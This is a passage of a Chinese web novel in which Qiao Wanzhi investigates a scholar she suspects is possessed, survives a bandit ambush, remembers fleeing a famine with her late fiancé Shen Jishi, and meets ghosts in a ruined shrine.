今年光是因为长安大旱,就已经斩杀不少人,就连钦天监的那位周大人都…… 桥大人苦笑一声,负手仰头,喃喃道:“谁知道以后呢……” “夫人。”桥大人又想到什么,叮嘱道:“近日不要出城,城外多了许多流寇,以免生事端,周季然已经率军去追了。” “好好的怎么又来了流寇,这世道什么时候才能太平。”桥夫人抿唇,率先进了桥府。 桥大人正要跟上,却听家丁匆匆跑来通报:“大人,门外有几个书生求见。” “什么样的书生?” “来者是三名书生,其中一人,说自己叫张渊。” 桥大人点了点头,正色道:“先将他们请去书房。” 桥夫人闻言回头,有些担忧道:“还有几个月就是春闱,你与他们走得这样近……” 桥大人:“无碍,只是探讨些学问。当年我参加科举,也是遇到了恩师才有今日。江山代有才人出,桥某自然也不会吝啬。” 桥夫人叹了口气,便也随他去了。知道他一入书房便会许久,桥夫人索性回屋睡个回笼觉。 桥府连廊旁合欢树下,桥妧枝踩着梯子一点一点往上爬。 郁荷立在一旁,心几乎跳到了嗓子眼里,“女郎,你小心点,千万不要踩空。” 桥妧枝置若罔闻,一直爬到最上面,小心将摔下来的麻雀放回巢中。 她站在梯子上看了好一会儿,直到那只羽翼尚未丰满的麻雀安睡,这才心满意足的下来,郁荷上前接她,却被她躲开。 桥妧枝看也没看郁荷,抱起身畔的小花顺着连廊走。 郁荷有些失落,跟在桥妧枝身后没说话。 其实她知道女郎还是心软的,若是换做别的女郎,早就已经将她打发走了。 可是她怎么都想不通,女郎为什么会与鬼魅为伍,那可是鬼魅,会害人的鬼魅,她难道真的做错了吗?可她当真,只是为了女郎好啊…… 桥妧枝并未在意郁荷在想什么,或者说她现在并没有什么心力去管旁人如何,她只觉得自己害了一只鬼,这种想法令她的心犹如在油锅翻炒煎熬。 有时午夜梦回,她也会想,自己做了这样害人的恶事,即便是百年之后想要还债都找不到人去还。 她一路抱着小花走进屋内,余光看到摆在桌案上的纸扎猫,突然忆起,自己已经许久没有去凶肆了。 桥妧枝撑着伞往外走,她也不知道自己为什么要撑伞,兴许是这段时日习惯了,又或者,今日日光是真的很烈,她不愿让自己晒黑。 一路行至桥府门前,身后突然有一道十分温柔的声音唤她:“桥姑娘。” 桥妧枝转身,看到立在身后的张渊,下意识抬头,发现门匾上确实写着桥府两个大字。 疑惑间,张渊已经走到她身边,笑吟吟行礼道:“某记得第一次见女郎就是在相国大人家门前,早该猜到女郎的身份。” 桥妧枝敛眸,有些打不起精神与他周旋,却还是道:“郎君怎么会在这里?” “前不久读了些书,有些疑惑的地方,特地来请教相国大人。” 桥妧枝点了点头,转身便走。 身后突然想起脚步声,张渊行至她身侧,问:“女郎是要出门?” 桥妧枝道:“去凶肆。” 张渊表情不变,却问:“女郎是为沈小将军买祭品吗?” 桥妧枝脚步一顿,却没有停,轻声问:“郎君对我与沈寄时的事很了解。” 她语气很淡,仿佛只是随口一问。 “也说不上了解。”张渊与她隔着一段距离并肩而行,“在长安一久,听到的事情也便多了。女郎,其实坊间都在夸赞你命好。” 命好? 桥妧枝扯了扯唇角,没说话。 “坊间都说女郎命好,在沈小将军出征之前退了婚,不用去守望门寡。” 望门寡,何其讽刺。 “我却觉得,即便是没有退婚,女郎并非是因为礼教而守节之人。” 张渊看向她,“女郎与沈小将军青梅竹马,情谊匪浅,渊想,这世上,没人比女郎更难过了。” 这还说的实在是好听,若是没有生魂一事,桥妧枝当真要高看这人几眼了。 话音落了,身侧的女郎许久未出声,张渊下意识皱起眉头。 他正想要再说什么,却听桥妧枝问:“张郎君,我有个问题想要请教你。” 张渊:“女郎请讲。” 长街喧嚣,桥妧枝脚步轻缓,“郎君身为读书人,对前朝那些读书人的事情可了解?” “有些了解。” 桥妧枝点头:“郎君可有喜欢文人?” 张渊抿唇:“没有。” “前几日我无意中翻到一本书,看到前朝有个名叫程林的人。” 桥妧枝扬唇,“史书上记载,这个人出身寒门,但是自小便十分有才华,三岁会背诗,十岁学作词,十六岁便已是乡试第一,成了举人。” 她声音轻缓,如同讲故事一般,只用寥寥几句话便说完了一个人的一生。 前朝文人过得并不好,纵观前朝百余年,帝王重武,文人不断被打压,除了考取功名,似乎并没有别的出路。只是,前朝末年,君主昏庸,朝野上下奸臣沆瀣一气,卖官鬻爵时有发生。 那是一段对于读书人十分黑暗的日子,多少读书人寒窗十年,都被淹没在这巨大的洪流之中。 程林便是其中之一,他才华横溢,诗词歌赋无一不精通,写出的文章更是令人拍案叫绝,可即便是这样,依旧年年春闱名落孙山。 这位死去百余年的先人在长安呆了十余年,可被说三甲,甚至进士都未曾中过。他当了十几年的举人,却也只是举人,连一官半职都未曾得到。 终于,这位先人在他四十岁那年再次名落孙山后,乘舟回了家乡。 桥妧枝看向张渊,问:“郎君知道这位先人是如何死的吗?” 张渊抿唇,“不知。” “他乘船归家,途径一只花船,与一琴娘相识。那琴娘原本是官家女子,可惜其父不与贪官同流合污,便被陷害,成了船妓。程林与那琴娘一见如故,想为她赎身,却囊中羞涩。” “于是,他们相约私奔,却不想还未逃出花船,就船主发现,两人就那么死在乱棍之下。” 桥妧枝:“可惜,那位程林到死都不知道,那个琴娘根本就不是什么官家女子,原是那位船主刻意设下的美人计。而那位船主,是程林曾经的同窗。因为程林这个人恃才傲物,很是看不起他,他便怀恨在心,特意为他设下的陷阱。” 故事说完了,桥妧枝问:“张郎君,你觉得程林这个人,是聪明人还是蠢人呢?” 长街喧哗,周遭人来人往。 张渊立在阳光下,神色不甚清晰,他突然扬唇,道:“蠢人。” “为何?” “空有才华,却不懂何为人情世故,一心死读书,却不会与人周旋,空有聪明才智,却轻信花船琴娘,失了性命,这样的人,难道还不蠢?” 话音刚落,前方突然传来一阵骚乱。 马蹄声震耳,行人纷纷避让。 桥妧枝抬头,看到一个身穿甲胄的将军纵马长街。 将军路过她们时,目光曾与桥妧枝短暂相接。那是周季然,唯一从浮屠峪一战中,活着回来的将军。 桥妧枝收回目光,不置可否地笑笑,“我觉得郎君说的有理,这番话,也算是解答了疑惑。” 她停下脚步,看向眼前凶肆,“郎君可要随我一同进入?” 张渊敛眸,双手相贴,有礼道:“渊身弱,家中父母尚在,也无可祭拜之人,便不随女郎进去了。” 桥妧枝与他告别,将伞收起,拾阶而上。 掌柜看到她连忙上前迎接,低声道:“东家。” 说完,余光瞥见那到青衫身影,道:“那不是张郎君吗?” “你识得他?” 掌柜道:“张郎君常来这里买东西。” 桥妧枝问:“都买些什么?” “冥钱香烛有,笔墨纸砚也有,哦,对了,还买了许多纸扎的书籍。” 桥妧枝若有所思。 秦掌柜往跟在她身后往门内走,说起上个月的花销,不太好意思道:“上个月花销大了些,女郎可能要多补一些。” “没关系。” 桥妧枝去拿荷包,低头的瞬间,头上绒花掉落在地上。 她一怔,连忙捡起,将上面沾染的灰尘吹走。 小心翼翼簪回发间,她再次抬头,看到不远处的人影,突然呼吸一窒。 “桥脉脉。” 沈小将军抱臂靠在凶肆内的柱子上,那张清俊的脸带了似有若无的笑意。他扬眉看她,眉宇间满是桀骜,“发什么愣呢?” 【作者有话说】 感谢小天使们支持 后台抽,有些评论看不到,但是感谢大家的支持!!! 22 第22章 ◎婚书◎ 桥妧枝看着那个方向,久久没有动作。 “女郎?” 秦掌柜见她发怔,目光跟着她看去,未曾发现问题,于是问道,“那里摆放的物件可是有什么不对?” “没有。” 长睫飞快地抖了抖,桥妧枝收回目光,将荷包里的银两递给秦掌柜。 秦掌柜连忙双手接下,又从桌案后拿出一叠账本,一一对照账本划去上个月花销。 这个时辰,凶肆之内并无客人,一时之间,满室只剩下毛笔划在宣纸之上的沙沙声。 桥妧枝接手这家凶肆其实算是机缘巧合,初回长安那一年,满城风雨飘摇,长安十室九空,路上尸骸遍地。她随大梁军队打马而过时,看到了正在凶肆门前烧纸的秦掌柜。 生逢乱世,百姓活着都难,谁又会在意什么身后事。这间凶肆已经难以经营下去,秦掌柜便用店中剩余的物件安葬邻里。 长街遍地都是燃烧的火堆,香灰随风飘出很远,落在桥妧枝的衣衫上。 那日,阿爹阿爹不在她身边,沈寄时还在城外与东胡人打仗,她看了很久,最终还是下马,拿出在蜀州那些年存放的银钱买下了这间凶肆。 长安稳定下来后,凶肆的生意渐渐好了起来,偶尔还能分出些银子收敛那些无人掩埋的尸骨。秦掌柜将账单记得清楚,每月都会悄悄将赚来的银子送到桥府,直到一年前,桥妧枝从收银的人变成了补银的人。 那一年七月,八万沈家军埋骨浮屠峪,按照惯例,朝廷是要为这些战死的将士送去赙物,可一直到年底,朝廷的赙物都未曾送下发。国库空虚,活人都要吃饭,哪里顾忌到死人,这件事只能暂且搁置下来。 可那些战死的将士大多家境贫寒,家中男丁战死,只剩老弱妇孺,赙物迟迟未有,日子过得愈发艰难。 她深知自己能力有限做不了什么,却还是托秦掌柜时时打探,若是有战死的将士家中逢丧事又出不起赙物,便为他们免了银两。 秦掌柜对这件事也上心,从未有怨言,便就这么任劳任怨做了许久。 “女郎,这段日子生意尚可,这个月的银两又给多了。” 秦掌柜放下毛笔,叹了口气道:“多了三两。” “那便入到下个月吧。” 秦掌柜道:“如此,下个月兴许还能有剩余,也就不用女郎再补贴。” 这里的事情已经处理完,桥妧枝拿起伞向外走。 离开时,她下意识往角落方向瞧了一眼,握着伞柄的手微微发紧。 他竟还在,还没有消失。 这次的幻觉似乎格外长,桥妧枝行在长街上,身侧是神情有些木讷的沈寄时。 她唇角微扬,突然出声:“沈寄时。” 身侧之人仿佛没有听见一般,依旧目视前方与她并肩而行,看起来竟有些呆。 桥妧枝眨了眨眼,忍不住笑起来。她伸手去勾他的小指,本以为会扑空,却触上了冰凉又有些僵硬的指腹。 她一怔,猛地转头,发现身侧依旧空无一人。 他又消失了。 仿佛早就料到了一般,桥妧枝并不失落,只以自己的情况更加严重。她一边盘算着回去要再喝几副张太医的要药方,一边转身进了最近的一家书局。 这家书局已经开了数年,再加上书籍怕晒,因此内里光线有些昏暗。 桥妧枝立在门口,无视躲在角落中那些孤魂野鬼,对立在门前的掌柜道:“掌柜的,我想要关于前朝程林的所有书籍,若是能有他的相关遗迹,那便再好不过。” 她一开始虽对张渊可能被夺舍这件事有所猜测,但却从未往前朝之人身上想过。 直到今日,她在府中碰到他,他下意识的动作竟有些像前朝的文人常用的作揖礼。大梁自开国已有百年余,本朝的文人行前朝的礼,若是放在一百年前尚且说得过去,可如今却着实有些奇怪。 她之所以想到程林,一是因为爹爹常说这人的文章颇有程林之遗风,二则是她记得,之前在茶楼时,他兵书之下压的便是文人列传。文人列传她买来看过,里面清清楚楚记载着程林的结局,他又怎会不知? 若真如张渊同乡所言,一夜之间变化如此之大,那最有可能之人,便是程林。 她默念着这个名字,忍不住微微蹙眉。 程林,这个已经死去一百多年的人,为何没有轮回,却要来夺舍一个毫不起眼的书生呢? 与此同时,桥府。 桥夫人端着茶杯,久久没有动作,“你说女郎与那名叫张渊的举人一同出了府?他们二人之前见过?” 家丁连忙道:“小的对女郎之事也不知晓,不过从女郎与那郎君相处时能看出,他们应当之前便认识。” 桥夫人皱眉,猛地看向坐在一旁抿茶的桥大人。 察觉到夫人的视线,桥大人疑惑看去,似有不解。 “你的好学生,何时认识了脉脉?” 桥大人皱眉,放下茶盏道:“之前倒是不曾听说,即便是认识也没什么,张渊此人在长安很有名,不少女郎都识得此人,兴许在哪里有过一面之缘。” 闻言,桥夫人表情依旧不大好,神色有些不自然。 桥大人皱眉:“怎么?你难不成想让脉脉与他……若是脉脉知道,必然会生气。” 桥夫人刮了桥大人一眼,将茶杯往桌上一磕,冷着脸道:“负心多是读书人,即便是当真要找郎君,也不能找书生,难保不是冲着你来的。” 桥大人:…… 桥大人冷哼:“什么读书人不读书人,我看夫人分明是想让脉脉再找个沈寄时那样的做郎君。” 话音落下,桥夫人仿佛被戳中了心事一般没有再说话。 年少不知情重,可谁又不是从少年时走过来的?若是沈寄时没有出事…… 若是他没有出事,他们两个如今应当已经完婚了,脉脉的姻缘线也不会断。 见夫人许久不言语,桥大人也跟着沉默下来,幽幽叹了口气。 — 桥妧枝从桥大人书房中拿到了张渊的字迹,偌大的宣纸上写了一篇游园赋,字迹秀丽,笔锋婉转圆润,丝毫不见张扬。 这样的字迹,既不同于沈寄时练就的狂草,也不同于程林过于凌厉刚强的笔锋,反而很衬他那一副温润如玉的君子模样。 桥妧枝细细对比,忍不住蹙眉。 难不成,当真是她搞错了,张渊身体里的人,根本就不是程林? 她看向满桌案关于程林的书,不禁有些心烦意乱。正史野史她都看了,一连看了数日,简直能将这人的生平倒背如流,可依旧没有发现什么有用的信息。 弯腰将小花抱起,桥妧枝熄灭烛光向床榻走去。 在她看不到的地方,妆匣中突然飘出一缕残魂,悠然落在熟睡少女的颈间。 人有三魂,天地人。天魂为生命之本,地魂为人之思索,人魂为七情六欲本身。人魂脆弱,只为欲所主宰,并无灵智。因此,那缕残魂始终落在少女锁骨处,再未动过。 等到天亮,它便会重新回到那只绒花中。 桥妧枝对夜晚的一切都不曾知晓,第二日天未亮,她便乘马车去了长安城外。 城外林中,沈萤立在马车上左顾右盼,询问彭校尉:“小桥姐姐还未曾来吗?” “女郎,今日我们出来的早,桥女郎应当还在路上。” “哦。” 沈萤失落敛眸,心不在焉握紧腰间的细刀。此去冀州,没有沈家名头庇佑,便真的只能靠她自己了,她其实有些不安。 寂静的林中突然传来车轮滚过泥土的声音,沈萤猛地抬头,看着缓缓驶来的马车,眸光微亮。 “小桥姐姐!” 桥妧枝闻言从马车上下来,快步走到沈萤身边,往她手中塞了一样东西。 沈萤定睛一看,发现是一枚平安扣。平安扣下面坠着崭新的络子,与兄长之前的那枚一模一样。 以前兄长离家时的收到的东西,她如今也有了。 沈萤握紧手中的平安扣,吸了吸鼻子,突然风风火火跑向自己的马车,从里面拿出一只锦盒。 她犹豫了一下,还是将盒子交给桥妧枝。 “这是兄长的遗物,他原本是想要送给你的,不曾想还没来得及送出去就出了事。我纠结了很久,也不知该不该给你,思来想去,还是想让你看到。” 身畔的阿婆皱眉,忍不住出声:“女郎……” “只是留个念想。”沈萤打断她,目光却看向桥妧枝,“若是小桥姐姐日后嫁人,可以将东西随便处置,即便是烧了丢了,兄长也不会生气,我也不会……” 阿婆脸色难看,欲言又止,知道自己无论如何也拦不下,索性转身上了马车。 沈萤尴尬地笑了笑,小声道:“我就知道阿婆会生气,不过没关系,她也就是气一小会儿,等一会儿我哄一哄便不气了。” 她顿了顿,舒出一口气,缓缓道:“小桥姐姐,多谢你来送我,时候不早了,我要走了。” 她说完,也不等桥妧枝回话,便飞快跑回马车,将脑袋从窗中探出,冲她挥手。 桥妧枝捏紧手中锦盒,一直等马车越走越远,化为远方一个黑点,方才徐徐收回视线。 “我们走吧。” 马车四平八稳地往城内驶去,桥妧枝抱着锦盒发呆,罕见地突然萌生出一种近乡情怯之感。 不知过了多久,寂静的马车内突然想起一道咔哒声。 桥妧枝借着日光,看清了里面的东西,那是一张婚书。 红笺黑字,洋洋洒洒书写了一整页,不同于他惯用的狂草,而是工整写着她与沈寄时的生辰与名字。 落款处,写着:承平二十七年腊月十六,沈危止手书。 承平二十七年腊月十六,是她摔碎玉佩与他退婚的第二日。 原来他在那时就已经写过他们的婚书,可既然如此,为何从不肯低一低头…… 桥妧枝握紧那张婚书,心中陡然蒙生了一丝怨恨。 恰在此时,马车猛地停下。 桥妧枝蹙眉,声音带着些沙哑,问:“怎么了?” 守在外面的婢女声音颤抖,“女郎,我们好像碰到了流寇。” 【作者有话说】 沈寄时:头是不肯低的,婚书是要偷偷写的。 小桥:哦,那我和别人成亲你也来写。 沈寄时:…… —— 因为夹子的缘故,下次更新是明天晚上十一点以后~么么 23 第23章 ◎再也不会让你饿肚子了【修】◎ 林中树影摇晃,纷乱的马蹄声盖住阵阵虫鸣越来越近,每一声仿佛都响彻在耳畔。 长刀在日光下反射出刺眼的光,闪得桥妧枝有些睁不开眼。 乱世多流寇,这些人向来杀人不眨眼,即便朝廷多次镇压,可这些流寇却如同野草一般杀不完砍不尽,春风吹又生。 可是,如今是皇城脚下,这些人竟已胆大包天至此! 掌心当即出了一层薄汗,桥妧枝并非坐以待毙的性子,于是当机立断道:“跑,调转方向跑!” 马车当即转了个弯,往树林深处跑去。 可所有人都明白,这不过是徒劳无功。马车又怎么跑得过骑着马的流寇,兴许他们跑不了多久就会被流寇团团围住,成为刀下亡魂。 桥妧枝坐在马车中,手中紧紧握着那张婚书,害怕得指尖都在发抖。 贪生怕死,大概是每一个人的天性。 由爱故生怨,她突然又有些怨沈寄时。为什么丢下她,为什么不能在她需要他的时候出现。即便,她明知这不是他的错。 马车狂奔在林间,身后嘈杂的马蹄声却越来越近,行至岔路口,马夫急吼道:“女郎快下车,您往右边跑,我去引开那群流寇!” 桥妧枝一怔,薄唇微抖。 马夫却急道:“女郎!别再犹豫了,我一个男子,总比女子落入流寇手中要好得多。” 桥妧枝眼眶发热,却也知道耽误不得,于是不再犹豫,直接跳下马车往曲径通幽处跑去。 衣裙划过林间杂草,草屑堂而皇之地粘在少女淡黄色裙摆上,桥妧枝却无暇顾及自己是否干净,只拼尽全力往前跑。 耳畔传来呼呼风声,她脑中一片空白,只觉得喧嚣远去,面前唯一能看到的只有脚下路。 她仿佛又回到了许多年前南渡蜀州的那些日子里,东胡的铁骑追在身后,她和沈寄时每日疲于奔命,只知道不停往前跑。 林间不知何时起了风,阳光下,少女头晕目眩,终于在跑出去不知多远时,双腿一软,重重摔倒在地。 膝盖处传来剧痛,应当是划破了,桥妧枝撑着胳膊踉跄站起,又一瘸一拐往前跑了几步,恍然发现,追在身后的马蹄声已经消失很久了。 林中枝繁叶茂,日光穿过枝叶缝隙落在少女脸上,映射出斑驳光影。 细汗顺着鼻尖落下,桥妧枝恍惚地想,她真的逃出生天了吗? 膝盖处传来阵阵疼痛,她缓缓蹲下,却惊觉自己手中空无一物。 沈寄时留下的那张婚书,她好像丢了…… 眼中闪过一瞬间的茫然,她甚至来不及再往下想,颈边却突然架上一只匕首。 头一次被人这般抵着命脉,桥妧枝一瞬间血液倒流。 身后传来男人有些粗重的呼吸声,她没回头,只脱下玉镯,丢在地上,哑声道:“你们若是想要银两,我这里有很多,全部都可以给你。若是觉得不够,我还可以去家中拿,想要多少都能给。” 身后之人不语,抵在她脖颈上的匕首却轻了几分。 桥妧枝眸光一闪,趁他分神间,突然转身。 她动作太快,那人来不及反应,怕将她划伤,下意识将匕首挪开,却猝不及防被狠狠咬住手腕脉搏处。 桥妧枝牙齿很尖,用了十成十的力气,那人还来不及反应,血液就已经源源不断溢出。 “啊啊啊——!” 惨叫声在幽静的树林中响起,那人手中匕首脱落,暴怒着就要用另一只手去掐她脖子。 桥妧枝满口鲜血,却反应极快,猛地抓起匕首向那人胸口捅去。 利器没入血肉没有丝毫声音,周围一静,便只剩林中虫鸣鸟叫声。 一切发生的太快,男子捂着胸口,眼中满是不可置信。 桥妧枝眼眶通红,松开匕首,瘫坐在地。 在她松开的瞬间,男子身体轰然倒塌,尘土飞扬,掀起一地枯叶。 他到死也没有闭上眼睛。 桥妧枝垂首,嘴角还挂着浓稠的鲜血。她将口中鲜血咽下,好一会儿才恍然大悟,喃喃道:“原来,竟是人血啊……” — 承平二十年秋,遍地枯黄。 那是大梁王朝最混乱的一年,南渡的路上,遍地都是衣衫褴褛的百姓,沿路树皮已经被扒光,人人骨瘦如柴,饿殍遍地。 不是人人都能活着走到蜀州,死在路上的人不计其数。 沈寄时背着少女缓慢前行,他手中短剑已经有了好几个豁口,如今只能勉强用作拐杖为他们支撑。 桥妧枝脚上的伤一直没有好,大部分时候都需要人背着走。 她知道,她是个拖累。 有好几次,她都想要沈寄时将她丢在路边,可每次看到他的脸,又怎么都说不出口了。 她想,除了沈寄时,没有人会带着她这么个拖累逃命。 他们已经好几日未曾吃饭,只依稀记得上次吃饭还是沈寄时抢到了一张树皮,他们那日高兴的不得了,一点一点用石头将树皮砸碎,和着雨水吞了下去。 树皮的味道不好吃,但却可以充饥。桥妧枝太饿了,但她知道沈寄时更饿。 每日背着她走,他已经瘦了一大圈,如今不过是在勉强支撑。 她伏在少年背上,看着他被剑鞘磨出血的双手,眼泪啪嗒啪嗒往下流。 泪珠掉在少年耳后,带起一片温热潮湿,沈寄时动作一顿,声音嘶哑偏头问她,“你是不是饿了?” 桥妧枝摇了摇头,摇过之后才意识到他看不到,于是抽泣道:“不饿,我当真不饿。” 沈寄时垂首,背着她走到一块大石上前,将她放下,道:“我去找些吃的,你乖乖在这里等着我。” 桥妧枝伸手拉着他,眼眶通红,“这里哪儿还有吃的,光秃秃的就剩土,沈寄时,我真的不饿。” 沈寄时抿唇:“我去去就回,你在这等着。” 他做的决定向来十头牛都拉不回来,桥妧枝抿唇,松开他的手,缓缓垂下头。 少年撑起短剑往前走了两步,又想起什么一样,突然转身,“桥脉脉。” 桥妧枝连忙抬头,却听他道:“找吃的可能要好一会儿才能回来,你别害怕。” 这条路上四处都是南下逃难之人,有的早就已经饿成了皮包骨,看起来很是渗人。 沈寄时道:“要是有人对你不利,你就大声喊我的名字,我听到声音就回来。要是实在不行,你就咬人。” “咬人?” “你牙齿那么尖,咬起人来肯定疼。” 这话听起来不像是好话,可桥妧枝却莫名信服,她问:“咬人就行吗?” “先咬脖子,要是脖子咬不到,就咬手腕。”他伸手给她指了指自己跳动的脉搏,“冲这里咬,往死了咬。” 桥妧枝下意识抿唇,眼眶又红了,“你能不能早些回来。” 沈寄时一愣,舔了舔干涩的唇,说:“那我早一点回来,再早一点回来。” 他说完,拿着短剑走了。 桥妧枝看着他单薄的背影,眼泪落得更凶。 沈寄时几乎没有失信过,他只离开了一小会儿,便捧着一手掌殷红的鲜血回来了。 “桥脉脉,我运气好抓了一只鸟,没有火吃不了肉,索性就杀了取血,这里没有别的吃的,你将就一下。” 桥妧枝吸了吸鼻子,“路上有雀鸟吗?” “有一只。”沈寄时催促她,“快喝,等我们再走一段距离,说不定就有野草和蘑菇吃了。” 殷红的血液存在少年掌心,铁锈味儿扑面而来。 桥妧枝看了一会儿,摇头:“你喝,我不饿。” “我喝过了。”沈寄时眉毛一横,表情有些凶,“桥脉脉,快喝,听话!” 又是这样…… 少女委屈地低头,小口小口抿去他掌心的鲜血。 味道很腥气,与之前喝的都不太一样,她将血舔完,方才小声问:“这是什么鸟的血啊,好腥,有点像你第一次给我喝的那个。” 沈寄时抿唇,道:“麻雀。” 桥妧枝一怔,她上次喝麻雀的血时,味道好像和这个不太一样。 少年重新将她背起,却闷哼一声,手臂有些不稳,衣袖上缓缓渗出鲜血。 他没有表现出来,安慰道:“等我们到了蜀州,就再也不用喝这些难闻的东西了。” 桥妧枝将头靠在他背上,带着浓重的鼻音嗯了一声,嗅到了他身上浓重的血腥气。 她以为是他取血时身上沾到了,小声道:“沈寄时,等我们到蜀州之后,我就和阿娘学做饭。” “嗯?” 她道:“我以后,再也不会让你饿肚子了,一定不会。” 沈寄时脚步一顿,轻轻“嗯”了一声。 【作者有话说】 12点前还有一章,因为赶榜单,没来得及修,十二点以后会修文,建议明天看!!! 24 第24章 ◎鬼死为魙【修】◎ 长安城外树林中,微风轻拂。 张渊立在空荡荡的马车前,神色淡然,冷声道:“人呢?” 被他询问之人毫不客气,将马车一踹,道:“跑了,这里那么大,谁知道跑到哪里去了!” 张渊讥讽:“两个手无缚鸡之力的女子,一个不会武功的马夫,这样竟能让人跑了,堂堂校尉也不过如此。” “张渊,你什么意思?” 为首之人猛地拔出挎在腰间的长刀,怒道:“谁知道这马车里竟只有一个马夫一个丫鬟!林子这么大,找人如大海捞针,你不会以为,这种事情如你们读书一样简单吧!” 张渊神色淡漠:“想来也不会有多难。” “你——” 那人说不过他,猛地将马车踹翻,冷笑道:“若非将军给你几分薄面,老子早就一刀砍了你!” “校尉!”突然有人跑来,惶恐道:“出事了!死人了!” 被称作校尉的人浑身一凛,眼中杀气毕露,“怎么回事,不是让你们将人打晕了活捉?” 通风报信之人连忙道:“不是桥家那个女郎死了,是……是我们的人!” 校尉一愣,“你说什么?” — 夜半时分,桥妧枝在林中寻到了一座荒芜人烟的土地庙。 土地庙破败,神像之上堆积了一层厚厚的灰,能看出年份久远,或许无人供奉的废弃的土地庙往往成了鬼魅的栖息地。 桥妧枝衣衫沾血,跌跌撞撞跑进来时,犹如夜行的鬼魅在寻栖身之所。 土地庙内没有亮灯,黑暗无比,月色借着破旧的窗户照进来,隐约照亮了高台上破损的土地像。 暗夜孤庙,怎么看都像是会出现在志怪小说中的情景。 桥妧枝立在门前怔怔看了好一会儿,方才缓缓靠坐在神像前。 她衣衫上的血早就已经干了,可口中的腥气却怎么都散不下去,一直徘徊在舌间。 很恶心,那个男人的血太过腥臭,让她胃里翻江倒海,只能撑在地上不断干呕。 “女郎,你没事吧?” 身侧不知什么时候突然出现了一缕游魂,她小心翼翼地出声,语气满怀关切。 桥妧枝缓缓抬头,看到面前骨瘦如柴却面容清丽的女鬼,却并不觉得害怕,只摇了摇头。 “你应该刚死没多久吧?”女鬼看着她的样子恍然大悟,温声道:“慢慢习惯就好了,其实做鬼做久了,渐渐也就不想做人了。” 桥妧枝停止干呕,看了她好一会儿,突然低声问:“做鬼很好吗?” “呀!”女鬼这才意识到不对劲,看着她额头尚存的一缕魂火,诧异道:“原来你竟是人啊!可你竟看得到我,当真神奇,我已经许久没有与活人说话了!” 桥妧枝扯了扯唇角,见她并无恶意,又问:“做鬼很好吗,比做人还好吗?” 若是做鬼很好,她也不想做人了。 生老病死,求不得爱别离,做人有什么意思? “那自然是做人更好。”女鬼撇了撇嘴,“谁又不想做人,我刚刚以为你是鬼,这才出言安慰你,女郎你可千万不要当真。” 她说完,又十分委屈道:“可是谁来安慰我啊,我才是再也做不成人了,呜呜呜女郎,奴家好惨。” 桥妧枝将额头抵靠在土地像上,看着眼前这个貌美的女鬼,抿唇问:“为什么再也做不成人?不是说,可以投胎的吗?” “因为我没有尸骨,没有尸骨的鬼就没办法入黄泉,不能入黄泉便无**回,就做不成人。” 女鬼应当已经认命了,也不再假哭,笑着与她道:“六十一甲子,我已经等了十年,等再过五十年,我就要死了。女郎,你知道鬼死后会变成什么吗?” 桥妧枝想到了沈郎君,从某种意义上讲,沈郎君便是死了的鬼,于是她道:“难道不是魂飞魄散吗?” 人死为鬼,鬼死之后便是魂飞魄散,再也不得往生了。 女鬼噗嗤笑出声,“女郎说错了,人死为鬼,鬼死为魙,等六十甲子一过,我就是魙了,从此再也没有转世为人的机会。” 桥妧枝喃喃:“魙?” “是啊,魙。”女鬼说着说着,忽而落泪,“魙死为希,希死为夷,四个六十甲子后,才是真正消散于天地,再也没有来生了。” 桥妧枝其实不太信这女鬼的话,但她没有反驳,只低声问:“你的尸骨在何处,我为你敛尸,你就不用变成魙。早日下轮回,来生还能做人。” 那女鬼看着她,眼中似有泪光,温声道:“女郎,你真心善。” 桥妧枝扯了扯唇角,她可是刚刚杀了一个人。 她又复问:“你的尸骨在何处?” 女鬼惨然一笑,盯着少女的脸,眼中流出血泪,“我的尸骨,在长安众百姓的五脏庙。” 桥妧枝猛地抬头,脸色倏忽变得煞白。 “十年前,东胡之乱,我随父母南下,路遇饥荒。”女鬼轻声说着过去的事,脸上却没什么波澜,“家中小弟饿得几次昏厥,我阿爹便将我卖了,从此之后,我就再没有尸骨。” 她只说卖了,可桥妧枝却明白过来,她是被人给吃了。饥荒之年,没有什么是不能吃的。 桥妧枝觉得呼吸困难,咬牙道:“骸骨呢,骸骨可在,我为你收敛骸骨?” “女郎,山中多野狼啊。”女鬼说着笑了起来,可眼角却流出血泪,“女郎,我再也做不成人了。” 女鬼哭了好一会儿,等哭够了,这才道:“我已十余年没有同活人说话了,今日总算是好好哭了一场。” 桥妧枝抱着双膝,久久没有出声。 “女郎,你想不想见一见魙鬼?”女鬼想起什么,抱怨道:“前几日这里便来了一只很凶的魙鬼,吓得我几日惴惴不安,好在他似乎受了很严重的伤,我犹豫了许久,这才没有搬走。不过等那个魙鬼好了,我就要尽快走了,人怕鬼,我们也怕魙鬼。” 她顿了顿,小声道:“那魙鬼生前应当是个富贵人家的郎君,手里还拿着一柄扇子呢,也不知为何会沦落至此。” 桥妧枝眉心一跳,“你说什么?” 女鬼生前死后胆子都很小,被她反应吓了一跳,半天说不出话。 桥妧枝连忙又问:“那个人,你是在何处见到的?” 女鬼犹豫了一下,小心翼翼起身,娇声道:“就在林中深处,女郎随我来。” 桥妧枝起身,跟着那女鬼出了土地庙。却不想刚出门,看到庙外的场景,便觉得头皮发麻。 林间孤魂野鬼众多,成片的孤魂野鬼见她出来,目光齐刷刷看了过来。 女鬼皱眉,看向为首的高大男鬼,低声道:“女郎并非是鬼,小心将人吓坏。” 那男子闻言,皱眉对那些聚集在一起的孤魂野鬼道:“都站在这里做什么,还不赶紧散去?” 出声的男子应当很有威严,众鬼一听,便齐齐散去。 “女郎不必害怕。”女鬼看了一眼桥妧枝头上的绒花与身上的符箓,怯生生道:“他们都不敢动您。” 桥妧枝心思都放在那只魙鬼身上,心不在焉冲她点了点头。 女鬼这才带着桥妧枝在林中七拐八拐,越走越深,桥妧枝脚步不由得慢了下来。 女鬼见她越来越慢,不由得疑惑道:“女郎?” 桥妧枝停下脚步,蹙眉问:“你要带我去哪儿?” 大概是看出了桥妧枝的猜忌,女鬼有些气闷,低声道:“女郎若是不信,可以回庙中将就一夜,明日一早再出林。” 女鬼说完,见她没反应,不由得有些失落,转身欲走。 “姑娘。”桥妧枝出声,迟疑道:“抱歉,我只是……” 那女鬼闻言飞快转身,眉眼带笑,“女郎不必多说,奴家大概也明白的。那魙鬼就在这条小路深处,再走不远就能看到了。” 话音刚落,林中深处突然飘散出点点银光。 女鬼呀了一声,道:“这魙鬼伤得可真是重,再这么下去,都不用等六十甲子。” 桥妧枝却一怔,突然向银光散出的方向跑去。 那女鬼连忙道:“女郎,你跑慢些,那魙鬼很凶的,来的第一日就将我吓哭了!” 